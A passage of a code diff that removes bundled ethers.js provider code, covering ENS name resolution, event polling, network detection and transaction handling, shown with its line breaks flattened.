"null" ? null : topic2; - }); - return comps.length === 1 ? comps[0] : comps; - }); - } - function getEventTag(eventName) { - if (typeof eventName === "string") { - eventName = eventName.toLowerCase(); - if (hexDataLength(eventName) === 32) { - return "tx:" + eventName; - } - if (eventName.indexOf(":") === -1) { - return eventName; - } - } else if (Array.isArray(eventName)) { - return "filter:*:" + serializeTopics(eventName); - } else if (ForkEvent.isForkEvent(eventName)) { - logger16.warn("not implemented"); - throw new Error("not implemented"); - } else if (eventName && typeof eventName === "object") { - return "filter:" + (eventName.address || "*") + ":" + serializeTopics(eventName.topics || []); - } - throw new Error("invalid event - " + eventName); - } - function getTime() { - return (/* @__PURE__ */ new Date()).getTime(); - } - function stall(duration) { - return new Promise((resolve) => { - setTimeout(resolve, duration); - }); - } - var PollableEvents = ["block", "network", "pending", "poll"]; - var Event = class { - constructor(tag, listener, once) { - defineReadOnly(this, "tag", tag); - defineReadOnly(this, "listener", listener); - defineReadOnly(this, "once", once); - this._lastBlockNumber = -2; - this._inflight = false; - } - get event() { - switch (this.type) { - case "tx": - return this.hash; - case "filter": - return this.filter; - } - return this.tag; - } - get type() { - return this.tag.split(":")[0]; - } - get hash() { - const comps = this.tag.split(":"); - if (comps[0] !== "tx") { - return null; - } - return comps[1]; - } - get filter() { - const comps = this.tag.split(":"); - if (comps[0] !== "filter") { - return null; - } - const address = comps[1]; - const topics = deserializeTopics(comps[2]); - const filter2 = {}; - if (topics.length > 0) { - filter2.topics = topics; - } - if (address && address !== "*") { - filter2.address = address; - } - return filter2; - } - pollable() { - return this.tag.indexOf(":") >= 0 || PollableEvents.indexOf(this.tag) >= 0; - } - }; - var coinInfos = { - "0": { symbol: "btc", p2pkh: 0, p2sh: 5, prefix: "bc" }, - "2": { symbol: "ltc", p2pkh: 48, p2sh: 50, prefix: "ltc" }, - "3": { symbol: "doge", p2pkh: 30, p2sh: 22 }, - "60": { symbol: "eth", ilk: "eth" }, - "61": { symbol: "etc", ilk: "eth" }, - "700": { symbol: "xdai", ilk: "eth" } - }; - function bytes32ify(value) { - return hexZeroPad(BigNumber.from(value).toHexString(), 32); - } - function base58Encode(data) { - return Base58.encode(concat([data, hexDataSlice(sha256(sha256(data)), 0, 4)])); - } - var matcherIpfs = new RegExp("^(ipfs)://(.*)$", "i"); - var matchers = [ - new RegExp("^(https)://(.*)$", "i"), - new RegExp("^(data):(.*)$", "i"), - matcherIpfs, - new RegExp("^eip155:[0-9]+/(erc[0-9]+):(.*)$", "i") - ]; - function _parseString(result, start) { - try { - return toUtf8String(_parseBytes(result, start)); - } catch (error) { - } - return null; - } - function _parseBytes(result, start) { - if (result === "0x") { - return null; - } - const offset = BigNumber.from(hexDataSlice(result, start, start + 32)).toNumber(); - const length = BigNumber.from(hexDataSlice(result, offset, offset + 32)).toNumber(); - return hexDataSlice(result, offset + 32, offset + 32 + length); - } - function getIpfsLink(link) { - if (link.match(/^ipfs:\/\/ipfs\//i)) { - link = link.substring(12); - } else if (link.match(/^ipfs:\/\//i)) { - link = link.substring(7); - } else { - logger16.throwArgumentError("unsupported IPFS format", "link", link); - } - return `https://gateway.ipfs.io/ipfs/${link}`; - } - function numPad(value) { - const result = arrayify(value); - if (result.length > 32) { - throw new Error("internal; should not happen"); - } - const padded = new Uint8Array(32); - padded.set(result, 32 - result.length); - return padded; - } - function bytesPad(value) { - if (value.length % 32 === 0) { - return value; - } - const result = new Uint8Array(Math.ceil(value.length / 32) * 32); - result.set(value); - return result; - } - function encodeBytes(datas) { - const result = []; - let byteCount = 0; - for (let i = 0; i < datas.length; i++) { - result.push(null); - byteCount += 32; - } - for (let i = 0; i < datas.length; i++) { - const data = arrayify(datas[i]); - result[i] = numPad(byteCount); - result.push(numPad(data.length)); - result.push(bytesPad(data)); - byteCount += 32 + Math.ceil(data.length / 32) * 32; - } - return hexConcat(result); - } - var Resolver = class { - // The resolvedAddress is only for creating a ReverseLookup resolver - constructor(provider, address, name, resolvedAddress) { - defineReadOnly(this, "provider", provider); - defineReadOnly(this, "name", name); - defineReadOnly(this, "address", provider.formatter.address(address)); - defineReadOnly(this, "_resolvedAddress", resolvedAddress); - } - supportsWildcard() { - if (!this._supportsEip2544) { - this._supportsEip2544 = this.provider.call({ - to: this.address, - data: "0x01ffc9a79061b92300000000000000000000000000000000000000000000000000000000" - }).then((result) => { - return BigNumber.from(result).eq(1); - }).catch((error) => { - if (error.code === Logger.errors.CALL_EXCEPTION) { - return false; - } - this._supportsEip2544 = null; - throw error; - }); - } - return this._supportsEip2544; - } - _fetch(selector, parameters) { - return __awaiter6(this, void 0, void 0, function* () { - const tx = { - to: this.address, - ccipReadEnabled: true, - data: hexConcat([selector, namehash(this.name), parameters || "0x"]) - }; - let parseBytes = false; - if (yield this.supportsWildcard()) { - parseBytes = true; - tx.data = hexConcat(["0x9061b923", encodeBytes([dnsEncode(this.name), tx.data])]); - } - try { - let result = yield this.provider.call(tx); - if (arrayify(result).length % 32 === 4) { - logger16.throwError("resolver threw error", Logger.errors.CALL_EXCEPTION, { - transaction: tx, - data: result - }); - } - if (parseBytes) { - result = _parseBytes(result, 0); - } - return result; - } catch (error) { - if (error.code === Logger.errors.CALL_EXCEPTION) { - return null; - } - throw error; - } - }); - } - _fetchBytes(selector, parameters) { - return __awaiter6(this, void 0, void 0, function* () { - const result = yield this._fetch(selector, parameters); - if (result != null) { - return _parseBytes(result, 0); - } - return null; - }); - } - _getAddress(coinType, hexBytes) { - const coinInfo = coinInfos[String(coinType)]; - if (coinInfo == null) { - logger16.throwError(`unsupported coin type: ${coinType}`, Logger.errors.UNSUPPORTED_OPERATION, { - operation: `getAddress(${coinType})` - }); - } - if (coinInfo.ilk === "eth") { - return this.provider.formatter.address(hexBytes); - } - const bytes = arrayify(hexBytes); - if (coinInfo.p2pkh != null) { - const p2pkh = hexBytes.match(/^0x76a9([0-9a-f][0-9a-f])([0-9a-f]*)88ac$/); - if (p2pkh) { - const length = parseInt(p2pkh[1], 16); - if (p2pkh[2].length === length * 2 && length >= 1 && length <= 75) { - return base58Encode(concat([[coinInfo.p2pkh], "0x" + p2pkh[2]])); - } - } - } - if (coinInfo.p2sh != null) { - const p2sh = hexBytes.match(/^0xa9([0-9a-f][0-9a-f])([0-9a-f]*)87$/); - if (p2sh) { - const length = parseInt(p2sh[1], 16); - if (p2sh[2].length === length * 2 && length >= 1 && length <= 75) { - return base58Encode(concat([[coinInfo.p2sh], "0x" + p2sh[2]])); - } - } - } - if (coinInfo.prefix != null) { - const length = bytes[1]; - let version172 = bytes[0]; - if (version172 === 0) { - if (length !== 20 && length !== 32) { - version172 = -1; - } - } else { - version172 = -1; - } - if (version172 >= 0 && bytes.length === 2 + length && length >= 1 && length <= 75) { - const words2 = import_bech32.default.toWords(bytes.slice(2)); - words2.unshift(version172); - return import_bech32.default.encode(coinInfo.prefix, words2); - } - } - return null; - } - getAddress(coinType) { - return __awaiter6(this, void 0, void 0, function* () { - if (coinType == null) { - coinType = 60; - } - if (coinType === 60) { - try { - const result = yield this._fetch("0x3b3b57de"); - if (result === "0x" || result === HashZero) { - return null; - } - return this.provider.formatter.callAddress(result); - } catch (error) { - if (error.code === Logger.errors.CALL_EXCEPTION) { - return null; - } - throw error; - } - } - const hexBytes = yield this._fetchBytes("0xf1cb7e06", bytes32ify(coinType)); - if (hexBytes == null || hexBytes === "0x") { - return null; - } - const address = this._getAddress(coinType, hexBytes); - if (address == null) { - logger16.throwError(`invalid or unsupported coin data`, Logger.errors.UNSUPPORTED_OPERATION, { - operation: `getAddress(${coinType})`, - coinType, - data: hexBytes - }); - } - return address; - }); - } - getAvatar() { - return __awaiter6(this, void 0, void 0, function* () { - const linkage = [{ type: "name", content: this.name }]; - try { - const avatar = yield this.getText("avatar"); - if (avatar == null) { - return null; - } - for (let i = 0; i < matchers.length; i++) { - const match = avatar.match(matchers[i]); - if (match == null) { - continue; - } - const scheme = match[1].toLowerCase(); - switch (scheme) { - case "https": - linkage.push({ type: "url", content: avatar }); - return { linkage, url: avatar }; - case "data": - linkage.push({ type: "data", content: avatar }); - return { linkage, url: avatar }; - case "ipfs": - linkage.push({ type: "ipfs", content: avatar }); - return { linkage, url: getIpfsLink(avatar) }; - case "erc721": - case "erc1155": { - const selector = scheme === "erc721" ? "0xc87b56dd" : "0x0e89341c"; - linkage.push({ type: scheme, content: avatar }); - const owner = this._resolvedAddress || (yield this.getAddress()); - const comps = (match[2] || "").split("/"); - if (comps.length !== 2) { - return null; - } - const addr = yield this.provider.formatter.address(comps[0]); - const tokenId = hexZeroPad(BigNumber.from(comps[1]).toHexString(), 32); - if (scheme === "erc721") { - const tokenOwner = this.provider.formatter.callAddress(yield this.provider.call({ - to: addr, - data: hexConcat(["0x6352211e", tokenId]) - })); - if (owner !== tokenOwner) { - return null; - } - linkage.push({ type: "owner", content: tokenOwner }); - } else if (scheme === "erc1155") { - const balance = BigNumber.from(yield this.provider.call({ - to: addr, - data: hexConcat(["0x00fdd58e", hexZeroPad(owner, 32), tokenId]) - })); - if (balance.isZero()) { - return null; - } - linkage.push({ type: "balance", content: balance.toString() }); - } - const tx = { - to: this.provider.formatter.address(comps[0]), - data: hexConcat([selector, tokenId]) - }; - let metadataUrl = _parseString(yield this.provider.call(tx), 0); - if (metadataUrl == null) { - return null; - } - linkage.push({ type: "metadata-url-base", content: metadataUrl }); - if (scheme === "erc1155") { - metadataUrl = metadataUrl.replace("{id}", tokenId.substring(2)); - linkage.push({ type: "metadata-url-expanded", content: metadataUrl }); - } - if (metadataUrl.match(/^ipfs:/i)) { - metadataUrl = getIpfsLink(metadataUrl); - } - linkage.push({ type: "metadata-url", content: metadataUrl }); - const metadata = yield fetchJson(metadataUrl); - if (!metadata) { - return null; - } - linkage.push({ type: "metadata", content: JSON.stringify(metadata) }); - let imageUrl = metadata.image; - if (typeof imageUrl !== "string") { - return null; - } - if (imageUrl.match(/^(https:\/\/|data:)/i)) { - } else { - const ipfs = imageUrl.match(matcherIpfs); - if (ipfs == null) { - return null; - } - linkage.push({ type: "url-ipfs", content: imageUrl }); - imageUrl = getIpfsLink(imageUrl); - } - linkage.push({ type: "url", content: imageUrl }); - return { linkage, url: imageUrl }; - } - } - } - } catch (error) { - } - return null; - }); - } - getContentHash() { - return __awaiter6(this, void 0, void 0, function* () { - const hexBytes = yield this._fetchBytes("0xbc1c58d1"); - if (hexBytes == null || hexBytes === "0x") { - return null; - } - const ipfs = hexBytes.match(/^0xe3010170(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/); - if (ipfs) { - const length = parseInt(ipfs[3], 16); - if (ipfs[4].length === length * 2) { - return "ipfs://" + Base58.encode("0x" + ipfs[1]); - } - } - const ipns = hexBytes.match(/^0xe5010172(([0-9a-f][0-9a-f])([0-9a-f][0-9a-f])([0-9a-f]*))$/); - if (ipns) { - const length = parseInt(ipns[3], 16); - if (ipns[4].length === length * 2) { - return "ipns://" + Base58.encode("0x" + ipns[1]); - } - } - const swarm = hexBytes.match(/^0xe40101fa011b20([0-9a-f]*)$/); - if (swarm) { - if (swarm[1].length === 32 * 2) { - return "bzz://" + swarm[1]; - } - } - const skynet = hexBytes.match(/^0x90b2c605([0-9a-f]*)$/); - if (skynet) { - if (skynet[1].length === 34 * 2) { - const urlSafe = { "=": "", "+": "-", "/": "_" }; - const hash3 = encode("0x" + skynet[1]).replace(/[=+\/]/g, (a) => urlSafe[a]); - return "sia://" + hash3; - } - } - return logger16.throwError(`invalid or unsupported content hash data`, Logger.errors.UNSUPPORTED_OPERATION, { - operation: "getContentHash()", - data: hexBytes - }); - }); - } - getText(key22) { - return __awaiter6(this, void 0, void 0, function* () { - let keyBytes = toUtf8Bytes(key22); - keyBytes = concat([bytes32ify(64), bytes32ify(keyBytes.length), keyBytes]); - if (keyBytes.length % 32 !== 0) { - keyBytes = concat([keyBytes, hexZeroPad("0x", 32 - key22.length % 32)]); - } - const hexBytes = yield this._fetchBytes("0x59d1d43c", hexlify(keyBytes)); - if (hexBytes == null || hexBytes === "0x") { - return null; - } - return toUtf8String(hexBytes); - }); - } - }; - var defaultFormatter = null; - var nextPollId = 1; - var BaseProvider = class extends Provider { - /** - * ready - * - * A Promise that resolves only once the provider is ready. - * - * Sub-classes that call the super with a network without a chainId - * MUST set this. Standard named networks have a known chainId. - * - */ - constructor(network) { - super(); - this._events = []; - this._emitted = { block: -2 }; - this.disableCcipRead = false; - this.formatter = new.target.getFormatter(); - defineReadOnly(this, "anyNetwork", network === "any"); - if (this.anyNetwork) { - network = this.detectNetwork(); - } - if (network instanceof Promise) { - this._networkPromise = network; - network.catch((error) => { - }); - this._ready().catch((error) => { - }); - } else { - const knownNetwork = getStatic(new.target, "getNetwork")(network); - if (knownNetwork) { - defineReadOnly(this, "_network", knownNetwork); - this.emit("network", knownNetwork, null); - } else { - logger16.throwArgumentError("invalid network", "network", network); - } - } - this._maxInternalBlockNumber = -1024; - this._lastBlockNumber = -2; - this._maxFilterBlockRange = 10; - this._pollingInterval = 4e3; - this._fastQueryDate = 0; - } - _ready() { - return __awaiter6(this, void 0, void 0, function* () { - if (this._network == null) { - let network = null; - if (this._networkPromise) { - try { - network = yield this._networkPromise; - } catch (error) { - } - } - if (network == null) { - network = yield this.detectNetwork(); - } - if (!network) { - logger16.throwError("no network detected", Logger.errors.UNKNOWN_ERROR, {}); - } - if (this._network == null) { - if (this.anyNetwork) { - this._network = network; - } else { - defineReadOnly(this, "_network", network); - } - this.emit("network", network, null); - } - } - return this._network; - }); - } - // This will always return the most recently established network. - // For "any", this can change (a "network" event is emitted before - // any change is reflected); otherwise this cannot change - get ready() { - return poll(() => { - return this._ready().then((network) => { - return network; - }, (error) => { - if (error.code === Logger.errors.NETWORK_ERROR && error.event === "noNetwork") { - return void 0; - } - throw error; - }); - }); - } - // @TODO: Remove this and just create a singleton formatter - static getFormatter() { - if (defaultFormatter == null) { - defaultFormatter = new Formatter(); - } - return defaultFormatter; - } - // @TODO: Remove this and just use getNetwork - static getNetwork(network) { - return getNetwork(network == null ? "homestead" : network); - } - ccipReadFetch(tx, calldata, urls) { - return __awaiter6(this, void 0, void 0, function* () { - if (this.disableCcipRead || urls.length === 0) { - return null; - } - const sender = tx.to.toLowerCase(); - const data = calldata.toLowerCase(); - const errorMessages = []; - for (let i = 0; i < urls.length; i++) { - const url = urls[i]; - const href = url.replace("{sender}", sender).replace("{data}", data); - const json = url.indexOf("{data}") >= 0 ? null : JSON.stringify({ data, sender }); - const result = yield fetchJson({ url: href, errorPassThrough: true }, json, (value, response) => { - value.status = response.statusCode; - return value; - }); - if (result.data) { - return result.data; - } - const errorMessage = result.message || "unknown error"; - if (result.status >= 400 && result.status < 500) { - return logger16.throwError(`response not found during CCIP fetch: ${errorMessage}`, Logger.errors.SERVER_ERROR, { url, errorMessage }); - } - errorMessages.push(errorMessage); - } - return logger16.throwError(`error encountered during CCIP fetch: ${errorMessages.map((m) => JSON.stringify(m)).join(", ")}`, Logger.errors.SERVER_ERROR, { - urls, - errorMessages - }); - }); - } - // Fetches the blockNumber, but will reuse any result that is less - // than maxAge old or has been requested since the last request - _getInternalBlockNumber(maxAge) { - return __awaiter6(this, void 0, void 0, function* () { - yield this._ready(); - if (maxAge > 0) { - while (this._internalBlockNumber) { - const internalBlockNumber = this._internalBlockNumber; - try { - const result = yield internalBlockNumber; - if (getTime() - result.respTime <= maxAge) { - return result.blockNumber; - } - break; - } catch (error) { - if (this._internalBlockNumber === internalBlockNumber) { - break; - } - } - } - } - const reqTime = getTime(); - const checkInternalBlockNumber = resolveProperties({ - blockNumber: this.perform("getBlockNumber", {}), - networkError: this.getNetwork().then((network) => null, (error) => error) - }).then(({ blockNumber, networkError }) => { - if (networkError) { - if (this._internalBlockNumber === checkInternalBlockNumber) { - this._internalBlockNumber = null; - } - throw networkError; - } - const respTime = getTime(); - blockNumber = BigNumber.from(blockNumber).toNumber(); - if (blockNumber < this._maxInternalBlockNumber) { - blockNumber = this._maxInternalBlockNumber; - } - this._maxInternalBlockNumber = blockNumber; - this._setFastBlockNumber(blockNumber); - return { blockNumber, reqTime, respTime }; - }); - this._internalBlockNumber = checkInternalBlockNumber; - checkInternalBlockNumber.catch((error) => { - if (this._internalBlockNumber === checkInternalBlockNumber) { - this._internalBlockNumber = null; - } - }); - return (yield checkInternalBlockNumber).blockNumber; - }); - } - poll() { - return __awaiter6(this, void 0, void 0, function* () { - const pollId = nextPollId++; - const runners = []; - let blockNumber = null; - try { - blockNumber = yield this._getInternalBlockNumber(100 + this.pollingInterval / 2); - } catch (error) { - this.emit("error", error); - return; - } - this._setFastBlockNumber(blockNumber); - this.emit("poll", pollId, blockNumber); - if (blockNumber === this._lastBlockNumber) { - this.emit("didPoll", pollId); - return; - } - if (this._emitted.block === -2) { - this._emitted.block = blockNumber - 1; - } - if (Math.abs(this._emitted.block - blockNumber) > 1e3) { - logger16.warn(`network block skew detected; skipping block events (emitted=${this._emitted.block} blockNumber${blockNumber})`); - this.emit("error", logger16.makeError("network block skew detected", Logger.errors.NETWORK_ERROR, { - blockNumber, - event: "blockSkew", - previousBlockNumber: this._emitted.block - })); - this.emit("block", blockNumber); - } else { - for (let i = this._emitted.block + 1; i <= blockNumber; i++) { - this.emit("block", i); - } - } - if (this._emitted.block !== blockNumber) { - this._emitted.block = blockNumber; - Object.keys(this._emitted).forEach((key22) => { - if (key22 === "block") { - return; - } - const eventBlockNumber = this._emitted[key22]; - if (eventBlockNumber === "pending") { - return; - } - if (blockNumber - eventBlockNumber > 12) { - delete this._emitted[key22]; - } - }); - } - if (this._lastBlockNumber === -2) { - this._lastBlockNumber = blockNumber - 1; - } - this._events.forEach((event) => { - switch (event.type) { - case "tx": { - const hash3 = event.hash; - let runner = this.getTransactionReceipt(hash3).then((receipt) => { - if (!receipt || receipt.blockNumber == null) { - return null; - } - this._emitted["t:" + hash3] = receipt.blockNumber; - this.emit(hash3, receipt); - return null; - }).catch((error) => { - this.emit("error", error); - }); - runners.push(runner); - break; - } - case "filter": { - if (!event._inflight) { - event._inflight = true; - if (event._lastBlockNumber === -2) { - event._lastBlockNumber = blockNumber - 1; - } - const filter2 = event.filter; - filter2.fromBlock = event._lastBlockNumber + 1; - filter2.toBlock = blockNumber; - const minFromBlock = filter2.toBlock - this._maxFilterBlockRange; - if (minFromBlock > filter2.fromBlock) { - filter2.fromBlock = minFromBlock; - } - if (filter2.fromBlock < 0) { - filter2.fromBlock = 0; - } - const runner = this.getLogs(filter2).then((logs) => { - event._inflight = false; - if (logs.length === 0) { - return; - } - logs.forEach((log) => { - if (log.blockNumber > event._lastBlockNumber) { - event._lastBlockNumber = log.blockNumber; - } - this._emitted["b:" + log.blockHash] = log.blockNumber; - this._emitted["t:" + log.transactionHash] = log.blockNumber; - this.emit(filter2, log); - }); - }).catch((error) => { - this.emit("error", error); - event._inflight = false; - }); - runners.push(runner); - } - break; - } - } - }); - this._lastBlockNumber = blockNumber; - Promise.all(runners).then(() => { - this.emit("didPoll", pollId); - }).catch((error) => { - this.emit("error", error); - }); - return; - }); - } - // Deprecated; do not use this - resetEventsBlock(blockNumber) { - this._lastBlockNumber = blockNumber - 1; - if (this.polling) { - this.poll(); - } - } - get network() { - return this._network; - } - // This method should query the network if the underlying network - // can change, such as when connected to a JSON-RPC backend - detectNetwork() { - return __awaiter6(this, void 0, void 0, function* () { - return logger16.throwError("provider does not support network detection", Logger.errors.UNSUPPORTED_OPERATION, { - operation: "provider.detectNetwork" - }); - }); - } - getNetwork() { - return __awaiter6(this, void 0, void 0, function* () { - const network = yield this._ready(); - const currentNetwork = yield this.detectNetwork(); - if (network.chainId !== currentNetwork.chainId) { - if (this.anyNetwork) { - this._network = currentNetwork; - this._lastBlockNumber = -2; - this._fastBlockNumber = null; - this._fastBlockNumberPromise = null; - this._fastQueryDate = 0; - this._emitted.block = -2; - this._maxInternalBlockNumber = -1024; - this._internalBlockNumber = null; - this.emit("network", currentNetwork, network); - yield stall(0); - return this._network; - } - const error = logger16.makeError("underlying network changed", Logger.errors.NETWORK_ERROR, { - event: "changed", - network, - detectedNetwork: currentNetwork - }); - this.emit("error", error); - throw error; - } - return network; - }); - } - get blockNumber() { - this._getInternalBlockNumber(100 + this.pollingInterval / 2).then((blockNumber) => { - this._setFastBlockNumber(blockNumber); - }, (error) => { - }); - return this._fastBlockNumber != null ? this._fastBlockNumber : -1; - } - get polling() { - return this._poller != null; - } - set polling(value) { - if (value && !this._poller) { - this._poller = setInterval(() => { - this.poll(); - }, this.pollingInterval); - if (!this._bootstrapPoll) { - this._bootstrapPoll = setTimeout(() => { - this.poll(); - this._bootstrapPoll = setTimeout(() => { - if (!this._poller) { - this.poll(); - } - this._bootstrapPoll = null; - }, this.pollingInterval); - }, 0); - } - } else if (!value && this._poller) { - clearInterval(this._poller); - this._poller = null; - } - } - get pollingInterval() { - return this._pollingInterval; - } - set pollingInterval(value) { - if (typeof value !== "number" || value <= 0 || parseInt(String(value)) != value) { - throw new Error("invalid polling interval"); - } - this._pollingInterval = value; - if (this._poller) { - clearInterval(this._poller); - this._poller = setInterval(() => { - this.poll(); - }, this._pollingInterval); - } - } - _getFastBlockNumber() { - const now2 = getTime(); - if (now2 - this._fastQueryDate > 2 * this._pollingInterval) { - this._fastQueryDate = now2; - this._fastBlockNumberPromise = this.getBlockNumber().then((blockNumber) => { - if (this._fastBlockNumber == null || blockNumber > this._fastBlockNumber) { - this._fastBlockNumber = blockNumber; - } - return this._fastBlockNumber; - }); - } - return this._fastBlockNumberPromise; - } - _setFastBlockNumber(blockNumber) { - if (this._fastBlockNumber != null && blockNumber < this._fastBlockNumber) { - return; - } - this._fastQueryDate = getTime(); - if (this._fastBlockNumber == null || blockNumber > this._fastBlockNumber) { - this._fastBlockNumber = blockNumber; - this._fastBlockNumberPromise = Promise.resolve(blockNumber); - } - } - waitForTransaction(transactionHash, confirmations, timeout) { - return __awaiter6(this, void 0, void 0, function* () { - return this._waitForTransaction(transactionHash, confirmations == null ? 1 : confirmations, timeout || 0, null); - }); - } - _waitForTransaction(transactionHash, confirmations, timeout, replaceable) { - return __awaiter6(this, void 0, void 0, function* () { - const receipt = yield this.getTransactionReceipt(transactionHash); - if ((receipt ? receipt.confirmations : 0) >= confirmations) { - return receipt; - } - return new Promise((resolve, reject) => { - const cancelFuncs = []; - let done = false; - const alreadyDone = function() { - if (done) { - return true; - } - done = true; - cancelFuncs.forEach((func) => { - func(); - }); - return false; - }; - const minedHandler = (receipt2) => { - if (receipt2.confirmations < confirmations) { - return; - } - if (alreadyDone()) { - return; - } - resolve(receipt2); - }; - this.on(transactionHash, minedHandler); - cancelFuncs.push(() => { - this.removeListener(transactionHash, minedHandler); - }); - if (replaceable) { - let lastBlockNumber = replaceable.startBlock; - let scannedBlock = null; - const replaceHandler = (blockNumber) => __awaiter6(this, void 0, void 0, function* () { - if (done) { - return; - } - yield stall(1e3); - this.getTransactionCount(replaceable.from).then((nonce) => __awaiter6(this, void 0, void 0, function* () { - if (done) { - return; - } - if (nonce <= replaceable.nonce) { - lastBlockNumber = blockNumber; - } else { - { - const mined = yield this.getTransaction(transactionHash); - if (mined && mined.blockNumber != null) { - return; - } - } - if (scannedBlock == null) { - scannedBlock = lastBlockNumber - 3; - if (scannedBlock < replaceable.startBlock) { - scannedBlock = replaceable.startBlock; - } - } - while (scannedBlock <= blockNumber) { - if (done) { - return; - } - const block = yield this.getBlockWithTransactions(scannedBlock); - for (let ti = 0; ti < block.transactions.length; ti++) { - const tx = block.transactions[ti]; - if (tx.hash === transactionHash) { - return; - } - if (tx.from === replaceable.from && tx.nonce === replaceable.nonce) { - if (done) { - return; - } - const receipt2 = yield this.waitForTransaction(tx.hash, confirmations); - if (alreadyDone()) { - return; - } - let reason = "replaced"; - if (tx.data === replaceable.data && tx.to === replaceable.to && tx.value.eq(replaceable.value)) { - reason = "repriced"; - } else if (tx.data === "0x" && tx.from === tx.to && tx.value.isZero()) { - reason = "cancelled"; - } - reject(logger16.makeError("transaction was replaced", Logger.errors.TRANSACTION_REPLACED, { - cancelled: reason === "replaced" || reason === "cancelled", - reason, - replacement: this._wrapTransaction(tx), - hash: transactionHash, - receipt: receipt2 - })); - return; - } - } - scannedBlock++; - } - } - if (done) { - return; - } - this.once("block", replaceHandler); - }), (error) => { - if (done) { - return; - } - this.once("block", replaceHandler); - }); - }); - if (done) { - return; - } - this.once("block", replaceHandler); - cancelFuncs.push(() => { - this.removeListener("block", replaceHandler); - }); - } - if (typeof timeout === "number" && timeout > 0) { - const timer22 = setTimeout(() => { - if (alreadyDone()) { - return; - } - reject(logger16.makeError("timeout exceeded", Logger.errors.TIMEOUT, { timeout })); - }, timeout); - if (timer22.unref) { - timer22.unref(); - } - cancelFuncs.push(() => { - clearTimeout(timer22); - }); - } - }); - }); - } - getBlockNumber() { - return __awaiter6(this, void 0, void 0, function* () { - return this._getInternalBlockNumber(0); - }); - } - getGasPrice() { - return __awaiter6(this, void 0, void 0, function* () { - yield this.getNetwork(); - const result = yield this.perform("getGasPrice", {}); - try { - return BigNumber.from(result); - } catch (error) { - return logger16.throwError("bad result from backend", Logger.errors.SERVER_ERROR, { - method: "getGasPrice", - result, - error - }); - } - }); - } - getBalance(addressOrName, blockTag) { - return __awaiter6(this, void 0, void 0, function* () { - yield this.getNetwork(); - const params = yield resolveProperties({ - address: this._getAddress(addressOrName), - blockTag: this._getBlockTag(blockTag) - }); - const result = yield this.perform("getBalance", params); - try { - return BigNumber.from(result); - } catch (error) { - return logger16.throwError("bad result from backend", Logger.errors.SERVER_ERROR, { - method: "getBalance", - params, - result, - error - }); - } - }); - } - getTransactionCount(addressOrName, blockTag) { - return __awaiter6(this, void 0, void 0, function* () { - yield this.getNetwork(); - const params = yield resolveProperties({ - address: this._getAddress(addressOrName), - blockTag: this._getBlockTag(blockTag) - }); - const result = yield this.perform("getTransactionCount", params); - try { - return BigNumber.from(result).toNumber(); - } catch (error) { - return logger16.throwError("bad result from backend", Logger.errors.SERVER_ERROR, { - method: "getTransactionCount", - params, - result, - error - }); - } - }); - } - getCode(addressOrName, blockTag) { - return __awaiter6(this, void 0, void 0, function* () { - yield this.getNetwork(); - const params = yield resolveProperties({ - address: this._getAddress(addressOrName), - blockTag: this._getBlockTag(blockTag) - }); - const result = yield this.perform("getCode", params); - try { - return hexlify(result); - } catch (error) { - return logger16.throwError("bad result from backend", Logger.errors.SERVER_ERROR, { - method: "getCode", - params, - result, - error - }); - } - }); - } - getStorageAt(addressOrName, position, blockTag) { - return __awaiter6(this, void 0, void 0, function* () { - yield this.getNetwork(); - const params = yield resolveProperties({ - address: this._getAddress(addressOrName), - blockTag: this._getBlockTag(blockTag), - position: Promise.resolve(position).then((p) => hexValue(p)) - }); - const result = yield this.perform("getStorageAt", params); - try { - return hexlify(result); - } catch (error) { - return logger16.throwError("bad result from backend", Logger.errors.SERVER_ERROR, { - method: "getStorageAt", - params, - result, - error - }); - } - }); - } - // This should be called by any subclass wrapping a TransactionResponse - _wrapTransaction(tx, hash3, startBlock) { - if (hash3 != null && hexDataLength(hash3) !== 32) { - throw new Error("invalid response - sendTransaction"); - } - const result = tx; - if (hash3 != null && tx.hash !== hash3) { - logger16.throwError("Transaction hash mismatch from Provider.sendTransaction.", Logger.errors.UNKNOWN_ERROR, { expectedHash: tx.hash, returnedHash: hash3 }); - } - result.wait = (confirms, timeout) => __awaiter6(this, void 0, void 0, function* () { - if (confirms == null) { - confirms = 1; - } - if (timeout == null) { - timeout = 0; - } - let replacement = void 0; - if (confirms !== 0 && startBlock != null) { - replacement = { - data: tx.data, - from: tx.from, - nonce: tx.nonce, - to: tx.to, - value: tx.value, - startBlock - }; - } - const receipt = yield this._waitForTransaction(tx.hash, confirms, timeout, replacement); - if (receipt == null && confirms === 0) { - return null; - } - this._emitted["t:" + tx.hash] = receipt.blockNumber; - if (receipt.status === 0) { - logger16.throwError("transaction failed", Logger.errors.CALL_EXCEPTION, { - transactionHash: tx.hash, - transaction: tx, - receipt - }); - } - return receipt; - }); - return result; - } - sendTransaction(signedTransaction) { - return __awaiter6(this, void 0, void 0, function* () { - yield this.getNetwork(); - const hexTx = yield Promise.resolve(signedTransaction).then((t) => hexlify(t)); - const tx = this.formatter.transaction(signedTransaction); - if (tx.confirmations == null) { - tx.confirmations = 0; - } - const blockNumber = yield this._getInternalBlockNumber(100 + 2 * this.pollingInterval); - try { - const hash3 = yield this.perform("sendTransaction", { signedTransaction: hexTx }); - return this._wrapTransaction(tx, hash3, blockNumber); - } catch (error) { - error.transaction = tx; - error.transactionHash = tx.hash; - throw error; - } - }); - } - _getTransactionRequest(transaction) { - return __awaiter6(this, void 0, void 0, function* () { - const values = yield transaction; - const tx = {}; - ["from", "to"].forEach((key22) => { - if (values[key22] == null) { - return; - } - tx[key22] = Promise.resolve(values[key22]).then((v) => v ? this._getAddress(v) : null); - }); - ["gasLimit", "gasPrice", "maxFeePerGas", "maxPriorityFeePerGas", "value"].forEach((key22) => { - if (values[key22] == null) { - return; - } - tx[key22] = Promise.resolve(values[key22]).then((v) => v ? BigNumber.from(v) : null); - }); - ["type"].forEach((key22) => { - if (values[key22] == null) { - return; - } - tx[key22] = Promise.resolve(values[key22]).then((v) => v != null ? v : null); - }); - if (values.accessList) { - tx.accessList = this.formatter.accessList(values.accessList); - } - ["data"].forEach((key22) => { - if (values[key22] == null) { - return; - } - tx[key22] = Promise.resolve(values[key22]).then((v) => v ? hexlify(v) : null); - }); - return this.formatter.transactionRequest(yield resolveProperties(tx)); - }); - } - _getFilter(filter2) { - return __awaiter6(this, void 0, void 0, function* () { - filter2 = yield filter2; - const result = {}; - if (filter2.address != null) { - result.address = this._getAddress(filter2.address); - } - ["blockHash", "topics"].forEach((key22) => { 